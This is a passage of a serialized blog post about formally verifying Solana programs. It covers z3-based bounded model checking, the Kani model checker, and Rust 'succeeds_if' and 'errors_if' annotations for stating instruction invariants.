",{"type":24,"tag":147,"props":25085,"children":25086},{"style":321},[25087],{"type":29,"value":25088},"import",{"type":24,"tag":147,"props":25090,"children":25091},{"style":241},[25092],{"type":29,"value":184},{"type":24,"tag":147,"props":25094,"children":25095},{"class":149,"line":160},[25096],{"type":24,"tag":147,"props":25097,"children":25098},{"emptyLinePlaceholder":16},[25099],{"type":29,"value":314},{"type":24,"tag":147,"props":25101,"children":25102},{"class":149,"line":169},[25103,25108,25112,25117,25122],{"type":24,"tag":147,"props":25104,"children":25105},{"style":235},[25106],{"type":29,"value":25107},"x ",{"type":24,"tag":147,"props":25109,"children":25110},{"style":241},[25111],{"type":29,"value":369},{"type":24,"tag":147,"props":25113,"children":25114},{"style":235},[25115],{"type":29,"value":25116}," Int(",{"type":24,"tag":147,"props":25118,"children":25119},{"style":3534},[25120],{"type":29,"value":25121},"'x'",{"type":24,"tag":147,"props":25123,"children":25124},{"style":235},[25125],{"type":29,"value":269},{"type":24,"tag":147,"props":25127,"children":25128},{"class":149,"line":178},[25129,25133,25137,25141,25146],{"type":24,"tag":147,"props":25130,"children":25131},{"style":235},[25132],{"type":29,"value":24914},{"type":24,"tag":147,"props":25134,"children":25135},{"style":241},[25136],{"type":29,"value":369},{"type":24,"tag":147,"props":25138,"children":25139},{"style":235},[25140],{"type":29,"value":25116},{"type":24,"tag":147,"props":25142,"children":25143},{"style":3534},[25144],{"type":29,"value":25145},"'y'",{"type":24,"tag":147,"props":25147,"children":25148},{"style":235},[25149],{"type":29,"value":269},{"type":24,"tag":147,"props":25151,"children":25152},{"class":149,"line":187},[25153,25157,25161,25165,25170],{"type":24,"tag":147,"props":25154,"children":25155},{"style":235},[25156],{"type":29,"value":24955},{"type":24,"tag":147,"props":25158,"children":25159},{"style":241},[25160],{"type":29,"value":369},{"type":24,"tag":147,"props":25162,"children":25163},{"style":235},[25164],{"type":29,"value":25116},{"type":24,"tag":147,"props":25166,"children":25167},{"style":3534},[25168],{"type":29,"value":25169},"'z'",{"type":24,"tag":147,"props":25171,"children":25172},{"style":235},[25173],{"type":29,"value":269},{"type":24,"tag":147,"props":25175,"children":25176},{"class":149,"line":196},[25177],{"type":24,"tag":147,"props":25178,"children":25179},{"emptyLinePlaceholder":16},[25180],{"type":29,"value":314},{"type":24,"tag":147,"props":25182,"children":25183},{"class":149,"line":205},[25184],{"type":24,"tag":147,"props":25185,"children":25186},{"style":154},[25187],{"type":29,"value":25188},"# Positive branch:\n",{"type":24,"tag":147,"props":25190,"children":25191},{"class":149,"line":214},[25192,25197,25201],{"type":24,"tag":147,"props":25193,"children":25194},{"style":235},[25195],{"type":29,"value":25196},"s ",{"type":24,"tag":147,"props":25198,"children":25199},{"style":241},[25200],{"type":29,"value":369},{"type":24,"tag":147,"props":25202,"children":25203},{"style":235},[25204],{"type":29,"value":25205}," Solver()\n",{"type":24,"tag":147,"props":25207,"children":25208},{"class":149,"line":272},[25209,25214,25218,25222,25226,25230],{"type":24,"tag":147,"props":25210,"children":25211},{"style":235},[25212],{"type":29,"value":25213},"s.add(y ",{"type":24,"tag":147,"props":25215,"children":25216},{"style":241},[25217],{"type":29,"value":6600},{"type":24,"tag":147,"props":25219,"children":25220},{"style":235},[25221],{"type":29,"value":24694},{"type":24,"tag":147,"props":25223,"children":25224},{"style":241},[25225],{"type":29,"value":624},{"type":24,"tag":147,"props":25227,"children":25228},{"style":705},[25229],{"type":29,"value":24703},{"type":24,"tag":147,"props":25231,"children":25232},{"style":235},[25233],{"type":29,"value":269},{"type":24,"tag":147,"props":25235,"children":25236},{"class":149,"line":281},[25237,25241,25245,25249],{"type":24,"tag":147,"props":25238,"children":25239},{"style":235},[25240],{"type":29,"value":25213},{"type":24,"tag":147,"props":25242,"children":25243},{"style":241},[25244],{"type":29,"value":3453},{"type":24,"tag":147,"props":25246,"children":25247},{"style":705},[25248],{"type":29,"value":24740},{"type":24,"tag":147,"props":25250,"children":25251},{"style":235},[25252],{"type":29,"value":269},{"type":24,"tag":147,"props":25254,"children":25255},{"class":149,"line":299},[25256,25261,25265,25269,25273,25277],{"type":24,"tag":147,"props":25257,"children":25258},{"style":235},[25259],{"type":29,"value":25260},"s.add(z ",{"type":24,"tag":147,"props":25262,"children":25263},{"style":241},[25264],{"type":29,"value":6600},{"type":24,"tag":147,"props":25266,"children":25267},{"style":235},[25268],{"type":29,"value":10138},{"type":24,"tag":147,"props":25270,"children":25271},{"style":241},[25272],{"type":29,"value":244},{"type":24,"tag":147,"props":25274,"children":25275},{"style":705},[25276],{"type":29,"value":13560},{"type":24,"tag":147,"props":25278,"children":25279},{"style":235},[25280],{"type":29,"value":269},{"type":24,"tag":147,"props":25282,"children":25283},{"class":149,"line":308},[25284],{"type":24,"tag":147,"props":25285,"children":25286},{"emptyLinePlaceholder":16},[25287],{"type":29,"value":314},{"type":24,"tag":147,"props":25289,"children":25290},{"class":149,"line":317},[25291],{"type":24,"tag":147,"props":25292,"children":25293},{"style":154},[25294],{"type":29,"value":25295},"# check if we can violate the correctness property\n",{"type":24,"tag":147,"props":25297,"children":25298},{"class":149,"line":332},[25299,25304,25308,25312],{"type":24,"tag":147,"props":25300,"children":25301},{"style":235},[25302],{"type":29,"value":25303},"s.add(Not(z ",{"type":24,"tag":147,"props":25305,"children":25306},{"style":241},[25307],{"type":29,"value":4279},{"type":24,"tag":147,"props":25309,"children":25310},{"style":705},[25311],{"type":29,"value":24858},{"type":24,"tag":147,"props":25313,"children":25314},{"style":235},[25315],{"type":29,"value":3519},{"type":24,"tag":147,"props":25317,"children":25318},{"class":149,"line":350},[25319,25324,25329],{"type":24,"tag":147,"props":25320,"children":25321},{"style":229},[25322],{"type":29,"value":25323},"print",{"type":24,"tag":147,"props":25325,"children":25326},{"style":235},[25327],{"type":29,"value":25328},"(s.check()) ",{"type":24,"tag":147,"props":25330,"children":25331},{"style":154},[25332],{"type":29,"value":25333},"# \"unsat\"\n",{"type":24,"tag":147,"props":25335,"children":25336},{"class":149,"line":358},[25337],{"type":24,"tag":147,"props":25338,"children":25339},{"emptyLinePlaceholder":16},[25340],{"type":29,"value":314},{"type":24,"tag":147,"props":25342,"children":25343},{"class":149,"line":397},[25344],{"type":24,"tag":147,"props":25345,"children":25346},{"style":154},[25347],{"type":29,"value":25348},"# Negative branch:\n",{"type":24,"tag":147,"props":25350,"children":25351},{"class":149,"line":421},[25352,25356,25360],{"type":24,"tag":147,"props":25353,"children":25354},{"style":235},[25355],{"type":29,"value":25196},{"type":24,"tag":147,"props":25357,"children":25358},{"style":241},[25359],{"type":29,"value":369},{"type":24,"tag":147,"props":25361,"children":25362},{"style":235},[25363],{"type":29,"value":25205},{"type":24,"tag":147,"props":25365,"children":25366},{"class":149,"line":435},[25367,25371,25375,25379,25383,25387],{"type":24,"tag":147,"props":25368,"children":25369},{"style":235},[25370],{"type":29,"value":25213},{"type":24,"tag":147,"props":25372,"children":25373},{"style":241},[25374],{"type":29,"value":6600},{"type":24,"tag":147,"props":25376,"children":25377},{"style":235},[25378],{"type":29,"value":24694},{"type":24,"tag":147,"props":25380,"children":25381},{"style":241},[25382],{"type":29,"value":624},{"type":24,"tag":147,"props":25384,"children":25385},{"style":705},[25386],{"type":29,"value":24703},{"type":24,"tag":147,"props":25388,"children":25389},{"style":235},[25390],{"type":29,"value":269},{"type":24,"tag":147,"props":25392,"children":25393},{"class":149,"line":444},[25394,25398,25402,25406],{"type":24,"tag":147,"props":25395,"children":25396},{"style":235},[25397],{"type":29,"value":25213},{"type":24,"tag":147,"props":25399,"children":25400},{"style":241},[25401],{"type":29,"value":25019},{"type":24,"tag":147,"props":25403,"children":25404},{"style":705},[25405],{"type":29,"value":24740},{"type":24,"tag":147,"props":25407,"children":25408},{"style":235},[25409],{"type":29,"value":269},{"type":24,"tag":147,"props":25411,"children":25412},{"class":149,"line":452},[25413,25417,25421,25425,25429,25433],{"type":24,"tag":147,"props":25414,"children":25415},{"style":235},[25416],{"type":29,"value":25260},{"type":24,"tag":147,"props":25418,"children":25419},{"style":241},[25420],{"type":29,"value":6600},{"type":24,"tag":147,"props":25422,"children":25423},{"style":235},[25424],{"type":29,"value":10138},{"type":24,"tag":147,"props":25426,"children":25427},{"style":241},[25428],{"type":29,"value":624},{"type":24,"tag":147,"props":25430,"children":25431},{"style":705},[25432],{"type":29,"value":10147},{"type":24,"tag":147,"props":25434,"children":25435},{"style":235},[25436],{"type":29,"value":269},{"type":24,"tag":147,"props":25438,"children":25439},{"class":149,"line":461},[25440],{"type":24,"tag":147,"props":25441,"children":25442},{"emptyLinePlaceholder":16},[25443],{"type":29,"value":314},{"type":24,"tag":147,"props":25445,"children":25446},{"class":149,"line":469},[25447],{"type":24,"tag":147,"props":25448,"children":25449},{"style":154},[25450],{"type":29,"value":25295},{"type":24,"tag":147,"props":25452,"children":25453},{"class":149,"line":508},[25454,25458,25462,25466],{"type":24,"tag":147,"props":25455,"children":25456},{"style":235},[25457],{"type":29,"value":25303},{"type":24,"tag":147,"props":25459,"children":25460},{"style":241},[25461],{"type":29,"value":4279},{"type":24,"tag":147,"props":25463,"children":25464},{"style":705},[25465],{"type":29,"value":24858},{"type":24,"tag":147,"props":25467,"children":25468},{"style":235},[25469],{"type":29,"value":3519},{"type":24,"tag":147,"props":25471,"children":25472},{"class":149,"line":572},[25473,25477,25481],{"type":24,"tag":147,"props":25474,"children":25475},{"style":229},[25476],{"type":29,"value":25323},{"type":24,"tag":147,"props":25478,"children":25479},{"style":235},[25480],{"type":29,"value":25328},{"type":24,"tag":147,"props":25482,"children":25483},{"style":154},[25484],{"type":29,"value":25333},{"type":24,"tag":25,"props":25486,"children":25487},{},[25488,25490,25496,25498,25503],{"type":29,"value":25489},"Both of these cases return ",{"type":24,"tag":80,"props":25491,"children":25493},{"className":25492},[],[25494],{"type":29,"value":25495},"unsat",{"type":29,"value":25497}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":24,"tag":8545,"props":25499,"children":25500},{},[25501],{"type":29,"value":25502},"correct",{"type":29,"value":25504}," according to this property.",{"type":24,"tag":43,"props":25506,"children":25508},{"id":25507},"loop-bounds-path-explosion",[25509],{"type":29,"value":25510},"Loop bounds & path explosion",{"type":24,"tag":25,"props":25512,"children":25513},{},[25514,25516,25521,25523,25528],{"type":29,"value":25515},"As you may have noticed, BMC requires us to take ",{"type":24,"tag":8545,"props":25517,"children":25518},{},[25519],{"type":29,"value":25520},"every",{"type":29,"value":25522}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":24,"tag":8545,"props":25524,"children":25525},{},[25526],{"type":29,"value":25527},"infinite",{"type":29,"value":25529}," number of paths because the loop branches backward. This might take a while...",{"type":24,"tag":25,"props":25531,"children":25532},{},[25533],{"type":29,"value":25534},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":24,"tag":25,"props":25536,"children":25537},{},[25538],{"type":29,"value":25539},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":24,"tag":25,"props":25541,"children":25542},{},[25543],{"type":29,"value":25544},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":24,"tag":43,"props":25546,"children":25548},{"id":25547},"kani-model-checker",[25549],{"type":29,"value":25550},"Kani Model Checker",{"type":24,"tag":25,"props":25552,"children":25553},{},[25554,25556,25561],{"type":29,"value":25555},"For our research with formally verifying Solana programs, we are using the ",{"type":24,"tag":2773,"props":25557,"children":25559},{"href":24454,"rel":25558},[2777],[25560],{"type":29,"value":24458},{"type":29,"value":25562},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":24,"tag":25,"props":25564,"children":25565},{},[25566,25568,25573,25575,25581,25582,25588,25590,25596],{"type":29,"value":25567},"Kani allows you to write ",{"type":24,"tag":8545,"props":25569,"children":25570},{},[25571],{"type":29,"value":25572},"proof harnesses",{"type":29,"value":25574}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":24,"tag":80,"props":25576,"children":25578},{"className":25577},[],[25579],{"type":29,"value":25580},"assume",{"type":29,"value":855},{"type":24,"tag":80,"props":25583,"children":25585},{"className":25584},[],[25586],{"type":29,"value":25587},"assert",{"type":29,"value":25589}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":24,"tag":80,"props":25591,"children":25593},{"className":25592},[],[25594],{"type":29,"value":25595},"cargo kani",{"type":29,"value":25597}," tool (which compiles your proof harness and runs BMC).",{"type":24,"tag":32,"props":25599,"children":25601},{"id":25600},"specification-how-can-we-describe-what-we-want-our-program-to-do",[25602,25604,25608],{"type":29,"value":25603},"Specification: How can we describe what we ",{"type":24,"tag":8545,"props":25605,"children":25606},{},[25607],{"type":29,"value":24527},{"type":29,"value":24529},{"type":24,"tag":25,"props":25610,"children":25611},{},[25612],{"type":24,"tag":8545,"props":25613,"children":25614},{},[25615],{"type":24,"tag":10949,"props":25616,"children":25617},{},[25618],{"type":29,"value":25619},"And what even do we want it to do?",{"type":24,"tag":25,"props":25621,"children":25622},{},[25623,25625,25630],{"type":29,"value":25624},"A fundamental challenge with any formal verification framework is ",{"type":24,"tag":8545,"props":25626,"children":25627},{},[25628],{"type":29,"value":25629},"specifying",{"type":29,"value":25631}," what the \"correct\" behavior should be.",{"type":24,"tag":25,"props":25633,"children":25634},{},[25635],{"type":29,"value":25636},"In natural language, we can describe a few good properties for example Solana programs:",{"type":24,"tag":22292,"props":25638,"children":25639},{},[25640,25652,25664],{"type":24,"tag":2678,"props":25641,"children":25642},{},[25643,25645,25650],{"type":29,"value":25644},"\"It should not be possible to ",{"type":24,"tag":10949,"props":25646,"children":25647},{},[25648],{"type":29,"value":25649},"steal money",{"type":29,"value":25651}," via a swap program\"",{"type":24,"tag":2678,"props":25653,"children":25654},{},[25655,25657,25662],{"type":29,"value":25656},"\"A multisig should never get into a state where you ",{"type":24,"tag":10949,"props":25658,"children":25659},{},[25660],{"type":29,"value":25661},"can't sign anything",{"type":29,"value":25663},"\"",{"type":24,"tag":2678,"props":25665,"children":25666},{},[25667],{"type":29,"value":25668},"\"User funds in a staking protocol \"",{"type":24,"tag":25,"props":25670,"children":25671},{},[25672,25674,25684,25686,25691],{"type":29,"value":25673},"These are types of properties you can tell your ",{"type":24,"tag":2773,"props":25675,"children":25678},{"href":25676,"rel":25677},"https://osec.io/",[2777],[25679],{"type":24,"tag":8545,"props":25680,"children":25681},{},[25682],{"type":29,"value":25683},"human auditors",{"type":29,"value":25685}," but these English phrases are not particularly useful for ",{"type":24,"tag":8545,"props":25687,"children":25688},{},[25689],{"type":29,"value":25690},"automated verification techniques",{"type":29,"value":25692}," (at least until our AI overlords surpass human intelligence).",{"type":24,"tag":25,"props":25694,"children":25695},{},[25696,25698,25703,25705,25710],{"type":29,"value":25697},"Instead, we need to be able to specify ",{"type":24,"tag":8545,"props":25699,"children":25700},{},[25701],{"type":29,"value":25702},"in code",{"type":29,"value":25704}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":24,"tag":80,"props":25706,"children":25708},{"className":25707},[],[25709],{"type":29,"value":25587},{"type":29,"value":25711}," statement.",{"type":24,"tag":43,"props":25713,"children":25715},{"id":25714},"solana-invariants",[25716],{"type":29,"value":25717},"Solana Invariants",{"type":24,"tag":25,"props":25719,"children":25720},{},[25721,25723,25728,25729,25734],{"type":29,"value":25722},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":24,"tag":10949,"props":25724,"children":25725},{},[25726],{"type":29,"value":25727},"instruction invariants",{"type":29,"value":855},{"type":24,"tag":10949,"props":25730,"children":25731},{},[25732],{"type":29,"value":25733},"account invariants",{"type":29,"value":87},{"type":24,"tag":112,"props":25736,"children":25738},{"id":25737},"instruction-invariant",[25739],{"type":29,"value":25740},"Instruction Invariant",{"type":24,"tag":25,"props":25742,"children":25743},{},[25744,25746,25751,25753,25759,25760,25766],{"type":29,"value":25745},"An ",{"type":24,"tag":10949,"props":25747,"children":25748},{},[25749],{"type":29,"value":25750},"instruction invariant",{"type":29,"value":25752}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":24,"tag":80,"props":25754,"children":25756},{"className":25755},[],[25757],{"type":29,"value":25758},"succeeds_if",{"type":29,"value":18751},{"type":24,"tag":80,"props":25761,"children":25763},{"className":25762},[],[25764],{"type":29,"value":25765},"errors_if",{"type":29,"value":25767}," macro annotations on the instruction handler.",{"type":24,"tag":25,"props":25769,"children":25770},{},[25771],{"type":29,"value":25772},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":24,"tag":25,"props":25774,"children":25775},{},[25776,25778,25784,25786,25791],{"type":29,"value":25777},"For example, say we have a ",{"type":24,"tag":80,"props":25779,"children":25781},{"className":25780},[],[25782],{"type":29,"value":25783},"Withdraw",{"type":29,"value":25785}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":24,"tag":8545,"props":25787,"children":25788},{},[25789],{"type":29,"value":25790},"more",{"type":29,"value":25792}," tokens than their current balance.",{"type":24,"tag":25,"props":25794,"children":25795},{},[25796,25798,25803],{"type":29,"value":25797},"Using our tool, you could specify the following ",{"type":24,"tag":80,"props":25799,"children":25801},{"className":25800},[],[25802],{"type":29,"value":25765},{"type":29,"value":25804}," property on your instruction handler:",{"type":24,"tag":137,"props":25806,"children":25808},{"code":25807,"language":8613,"meta":7,"className":8614,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[25809],{"type":24,"tag":80,"props":25810,"children":25811},{"__ignoreMap":7},[25812,25820,25855,25863,25936,25944],{"type":24,"tag":147,"props":25813,"children":25814},{"class":149,"line":150},[25815],{"type":24,"tag":147,"props":25816,"children":25817},{"style":235},[25818],{"type":29,"value":25819},"#[errors_if(\n",{"type":24,"tag":147,"props":25821,"children":25822},{"class":149,"line":160},[25823,25828,25832,25837,25841,25846,25850],{"type":24,"tag":147,"props":25824,"children":25825},{"style":235},[25826],{"type":29,"value":25827},"    ctx",{"type":24,"tag":147,"props":25829,"children":25830},{"style":241},[25831],{"type":29,"value":87},{"type":24,"tag":147,"props":25833,"children":25834},{"style":235},[25835],{"type":29,"value":25836},"user",{"type":24,"tag":147,"props":25838,"children":25839},{"style":241},[25840],{"type":29,"value":87},{"type":24,"tag":147,"props":25842,"children":25843},{"style":235},[25844],{"type":29,"value":25845},"balance ",{"type":24,"tag":147,"props":25847,"children":25848},{"style":241},[25849],{"type":29,"value":3583},{"type":24,"tag":147,"props":25851,"children":25852},{"style":235},[25853],{"type":29,"value":25854}," amount\n",{"type":24,"tag":147,"props":25856,"children":25857},{"class":149,"line":169},[25858],{"type":24,"tag":147,"props":25859,"children":25860},{"style":235},[25861],{"type":29,"value":25862},")]\n",{"type":24,"tag":147,"props":25864,"children":25865},{"class":149,"line":178},[25866,25871,25876,25880,25885,25889,25894,25898,25902,25906,25911,25915,25919,25923,25927,25931],{"type":24,"tag":147,"props":25867,"children":25868},{"style":218},[25869],{"type":29,"value":25870},"fn",{"type":24,"tag":147,"props":25872,"children":25873},{"style":229},[25874],{"type":29,"value":25875}," withdraw",{"type":24,"tag":147,"props":25877,"children":25878},{"style":235},[25879],{"type":29,"value":480},{"type":24,"tag":147,"props":25881,"children":25882},{"style":247},[25883],{"type":29,"value":25884},"ctx",{"type":24,"tag":147,"props":25886,"children":25887},{"style":241},[25888],{"type":29,"value":978},{"type":24,"tag":147,"props":25890,"children":25891},{"style":9044},[25892],{"type":29,"value":25893}," Context",{"type":24,"tag":147,"props":25895,"children":25896},{"style":235},[25897],{"type":29,"value":3583},{"type":24,"tag":147,"props":25899,"children":25900},{"style":9044},[25901],{"type":29,"value":25783},{"type":24,"tag":147,"props":25903,"children":25904},{"style":235},[25905],{"type":29,"value":12256},{"type":24,"tag":147,"props":25907,"children":25908},{"style":247},[25909],{"type":29,"value":25910},"amount",{"type":24,"tag":147,"props":25912,"children":25913},{"style":241},[25914],{"type":29,"value":978},{"type":24,"tag":147,"props":25916,"children":25917},{"style":9044},[25918],{"type":29,"value":11484},{"type":24,"tag":147,"props":25920,"children":25921},{"style":235},[25922],{"type":29,"value":564},{"type":24,"tag":147,"props":25924,"children":25925},{"style":241},[25926],{"type":29,"value":495},{"type":24,"tag":147,"props":25928,"children":25929},{"style":9044},[25930],{"type":29,"value":19378},{"type":24,"tag":147,"props":25932,"children":25933},{"style":235},[25934],{"type":29,"value":25935},"\u003C()> {\n",{"type":24,"tag":147,"props":25937,"children":25938},{"class":149,"line":187},[25939],{"type":24,"tag":147,"props":25940,"children":25941},{"style":241},[25942],{"type":29,"value":25943},"    ...\n",{"type":24,"tag":147,"props":25945,"children":25946},{"class":149,"line":196},[25947],{"type":24,"tag":147,"props":25948,"children":25949},{"style":235},[25950],{"type":29,"value":827},{"type":24,"tag":98,"props":25952,"children":25953},{},[25954],{"type":24,"tag":25,"props":25955,"children":25956},{},[25957,25958,25963,25965,25970,25972,25977],{"type":29,"value":5094},{"type":24,"tag":80,"props":25959,"children":25961},{"className":25960},[],[25962],{"type":29,"value":25765},{"type":29,"value":25964}," expression specifies ",{"type":24,"tag":8545,"props":25966,"children":25967},{},[25968],{"type":29,"value":25969},"succifient",{"type":29,"value":25971}," but not ",{"type":24,"tag":8545,"props":25973,"children":25974},{},[25975],{"type":29,"value":25976},"necessary",{"type":29,"value":25978}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":24,"tag":2665,"props":25980,"children":25981},{},[],{"type":24,"tag":25,"props":25983,"children":25984},{},[25985,25987,25992],{"type":29,"value":25986},"Another example is that for ",{"type":24,"tag":8545,"props":25988,"children":25989},{},[25990],{"type":29,"value":25991},"crank",{"type":29,"value":25993}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":24,"tag":137,"props":25995,"children":25997},{"code":25996,"language":8613,"meta":7,"className":8614,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[25998],{"type":24,"tag":80,"props":25999,"children":26000},{"__ignoreMap":7},[26001,26009,26063,26070],{"type":24,"tag":147,"props":26002,"children":26003},{"class":149,"line":150},[26004],{"type":24,"tag":147,"props":26005,"children":26006},{"style":235},[26007],{"type":29,"value":26008},"#[succeeds_if(true)]\n",{"type":24,"tag":147,"props":26010,"children":26011},{"class":149,"line":160},[26012,26016,26021,26025,26029,26033,26037,26041,26046,26051,26055,26059],{"type":24,"tag":147,"props":26013,"children":26014},{"style":218},[26015],{"type":29,"value":25870},{"type":24,"tag":147,"props":26017,"children":26018},{"style":229},[26019],{"type":29,"value":26020}," my_crank",{"type":24,"tag":147,"props":26022,"children":26023},{"style":235},[26024],{"type":29,"value":480},{"type":24,"tag":147,"props":26026,"children":26027},{"style":247},[26028],{"type":29,"value":25884},{"type":24,"tag":147,"props":26030,"children":26031},{"style":241},[26032],{"type":29,"value":978},{"type":24,"tag":147,"props":26034,"children":26035},{"style":9044},[26036],{"type":29,"value":25893},{"type":24,"tag":147,"props":26038,"children":26039},{"style":235},[26040],{"type":29,"value":3583},{"type":24,"tag":147,"props":26042,"children":26043},{"style":9044},[26044],{"type":29,"value":26045},"Crank",{"type":24,"tag":147,"props":26047,"children":26048},{"style":235},[26049],{"type":29,"value":26050},">) ",{"type":24,"tag":147,"props":26052,"children":26053},{"style":241},[26054],{"type":29,"value":495},{"type":24,"tag":147,"props":26056,"children":26057},{"style":9044},[26058],{"type":29,"value":19378},{"type":24,"tag":147,"props":26060,"children":26061},{"style":235},[26062],{"type":29,"value":25935},{"type":24,"tag":147,"props":26064,"children":26065},{"class":149,"line":169},[26066],{"type":24,"tag":147,"props":26067,"children":26068},{"style":241},[26069],{"type":29,"value":25943},{"type":24,"tag":147,"props":26071,"children":26072},{"class":149,"line":178},[26073],{"type":24,"tag":147,"props":26074,"children":26075},{"style":235},[26076],{"type":29,"value":827},{"type":24,"tag":25,"props":26078,"children":26079},{},[26080,26082,26086,26088,26094],{"type":29,"value":26081},"With this invariant, you could prove that the function ",{"type":24,"tag":8545,"props":26083,"children":26084},{},[26085],{"type":29,"value":18711},{"type":29,"value":26087}," returns ",{"type":24,"tag":80,"props":26089,"children":26091},{"className":26090},[],[26092],{"type":29,"value":26093},"Ok",{"type":29,"value":26095},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":24,"tag":2665,"props":26097,"children":26098},{},[],{"type":24,"tag":25,"props":26100,"children":26101},{},[26102,26104,26109,26110,26115,26117,26122,26124,26129,26131,26136],{"type":29,"value":26103},"Note that ",{"type":24,"tag":80,"props":26105,"children":26107},{"className":26106},[],[26108],{"type":29,"value":25758},{"type":29,"value":855},{"type":24,"tag":80,"props":26111,"children":26113},{"className":26112},[],[26114],{"type":29,"value":25765},{"type":29,"value":26116}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":24,"tag":80,"props":26118,"children":26120},{"className":26119},[],[26121],{"type":29,"value":25758},{"type":29,"value":26123}," is not satisfied and a function may fail even if ",{"type":24,"tag":80,"props":26125,"children":26127},{"className":26126},[],[26128],{"type":29,"value":25765},{"type":29,"value":26130}," is not satisfied. If you want to prove the ",{"type":24,"tag":8545,"props":26132,"children":26133},{},[26134],{"type":29,"value":26135},"exact condition",{"type":29,"value":26137}," required for an instruction to succeed, you could use a form like the following:",{"type":24,"tag":137,"props":26139,"children":26141},{"code":26140,"language":8613,"meta":7,"className":8614,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[26142],{"type":24,"tag":80,"props":26143,"children":26144},{"__ignoreMap":7},[26145,26189,26196,26213,26238,26290,26297],{"type":24,"tag":147,"props":26146,"children":26147},{"class":149,"line":150},[26148,26152,26157,26161,26165,26169,26173,26177,26181,26185],{"type":24,"tag":147,"props":26149,"children":26150},{"style":218},[26151],{"type":29,"value":25870},{"type":24,"tag":147,"props":26153,"children":26154},{"style":229},[26155],{"type":29,"value":26156}," my_invariant",{"type":24,"tag":147,"props":26158,"children":26159},{"style":235},[26160],{"type":29,"value":480},{"type":24,"tag":147,"props":26162,"children":26163},{"style":241},[26164],{"type":29,"value":15212},{"type":24,"tag":147,"props":26166,"children":26167},{"style":235},[26168],{"type":29,"value":564},{"type":24,"tag":147,"props":26170,"children":26171},{"style":241},[26172],{"type":29,"value":495},{"type":24,"tag":147,"props":26174,"children":26175},{"style":9044},[26176],{"type":29,"value":17669},{"type":24,"tag":147,"props":26178,"children":26179},{"style":235},[26180],{"type":29,"value":15207},{"type":24,"tag":147,"props":26182,"children":26183},{"style":241},[26184],{"type":29,"value":15212},{"type":24,"tag":147,"props":26186,"children":26187},{"style":235},[26188],{"type":29,"value":15217},{"type":24,"tag":147,"props":26190,"children":26191},{"class":149,"line":160},[26192],{"type":24,"tag":147,"props":26193,"children":26194},{"emptyLinePlaceholder":16},[26195],{"type":29,"value":314},{"type":24,"tag":147,"props":26197,"children":26198},{"class":149,"line":169},[26199,26204,26208],{"type":24,"tag":147,"props":26200,"children":26201},{"style":235},[26202],{"type":29,"value":26203},"#[succeeds_if(my_invariant(",{"type":24,"tag":147,"props":26205,"children":26206},{"style":241},[26207],{"type":29,"value":15212},{"type":24,"tag":147,"props":26209,"children":26210},{"style":235},[26211],{"type":29,"value":26212},"))]\n",{"type":24,"tag":147,"props":26214,"children":26215},{"class":149,"line":178},[26216,26221,26225,26230,26234],{"type":24,"tag":147,"props":26217,"children":26218},{"style":235},[26219],{"type":29,"value":26220},"#[errors_if(",{"type":24,"tag":147,"props":26222,"children":26223},{"style":241},[26224],{"type":29,"value":413},{"type":24,"tag":147,"props":26226,"children":26227},{"style":235},[26228],{"type":29,"value":26229},"my_invariant(",{"type":24,"tag":147,"props":26231,"children":26232},{"style":241},[26233],{"type":29,"value":15212},{"type":24,"tag":147,"props":26235,"children":26236},{"style":235},[26237],{"type":29,"value":26212},{"type":24,"tag":147,"props":26239,"children":26240},{"class":149,"line":187},[26241,26245,26250,26254,26258,26262,26266,26270,26274,26278,26282,26286],{"type":24,"tag":147,"props":26242,"children":26243},{"style":218},[26244],{"type":29,"value":25870},{"type":24,"tag":147,"props":26246,"children":26247},{"style":229},[26248],{"type":29,"value":26249}," 